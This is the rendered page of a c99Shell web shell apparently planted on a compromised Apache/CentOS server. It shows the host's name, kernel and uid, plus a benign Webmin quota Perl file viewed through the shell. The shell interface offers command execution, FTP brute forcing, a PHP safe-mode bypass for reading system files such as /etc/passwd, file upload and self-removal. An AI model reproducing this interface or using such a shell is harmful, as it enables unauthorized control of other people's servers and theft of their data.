!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/quota/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     useradmin_update.pl (2.45 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

do 'quota-lib.pl';

# useradmin_create_user(&details)
# Sets quotas on chosen filesystems
sub useradmin_create_user
{
local ($anysync) = grep { /^sync_/ } (keys %config);
return if (!$anysync);
local ($k, $fs, $i, %fslist);
foreach $fs (&list_filesystems()) {
    if ($fs->[4] && $fs->[5]) {
        $fslist{$fs->[0]}++;
        }
    }
foreach $k (keys %config) {
    if ($k =~ /^sync_(\S+)$/ && $fslist{$1}) {
        # found a filesystem to set quotas on
        $fs = $1;
        @quot = split(/\s+/, $config{$k});
        &edit_user_quota($_[0]->{'user'}, $fs, @quot);
        }
    }
}

# useradmin_delete_user(&details)
# Zero the quotas of a deleted user
sub useradmin_delete_user
{
foreach $fs (&list_filesystems()) {
    if ($fs->[4] && $fs->[5]) {
        $fslist{$fs->[0]}++;
        }
    }
$n = &user_filesystems($_[0]->{'user'});
for($i=0; $i<$n; $i++) {
    $f = $filesys{$i,'filesys'};
    if ($fslist{$f}) {
        # user has quota, and filesystem is local
        &edit_user_quota($_[0]->{'user'}, $f, 0, 0, 0, 0);
        }
    }
}

# useradmin_modify_user(&details)
# Quotas are stored by UID, so no need to change anything
# when a username changes.
sub useradmin_modify_user
{
# XXX should change if UID changes?
}


# useradmin_create_group(&details)
# Sets quotas on chosen filesystems
sub useradmin_create_group
{
local ($anysync) = grep { /^gsync_/ } (keys %config);
return if (!$anysync);
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
local ($k, $fs, $i, %fslist);
foreach $fs (&list_filesystems()) {
    if ($fs->[4] && $fs->[5]) {
        $fslist{$fs->[0]}++;
        }
    }
foreach $k (keys %config) {
    if ($k =~ /^gsync_(\S+)$/ && $fslist{$1}) {
        # found a filesystem to set quotas on
        $fs = $1;
        @quot = split(/\s+/, $config{$k});
        &edit_group_quota($_[0]->{'group'}, $fs, @quot);
        }
    }
}

# useradmin_delete_group(&details)
# Zero the quotas of a deleted group
sub useradmin_delete_group
{
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
foreach $fs (&list_filesystems()) {
    if ($fs->[4] && $fs->[5]) {
        $fslist{$fs->[0]}++;
        }
    }
$n = &group_filesystems($_[0]->{'group'});
for($i=0; $i<$n; $i++) {
    $f = $filesys{$i,'filesys'};
    if ($fslist{$f}) {
        # group has quota, and filesystem is local
        &edit_group_quota($_[0]->{'group'}, $f, 0, 0, 0, 0);
        }
    }
}

# useradmin_modify_group(&details)
# Quotas are stored by UID, so no need to change anything
# when a group name changes.
sub useradmin_modify_group
{
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
# XXX should change if UID changes?
}


1;


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0163 ]--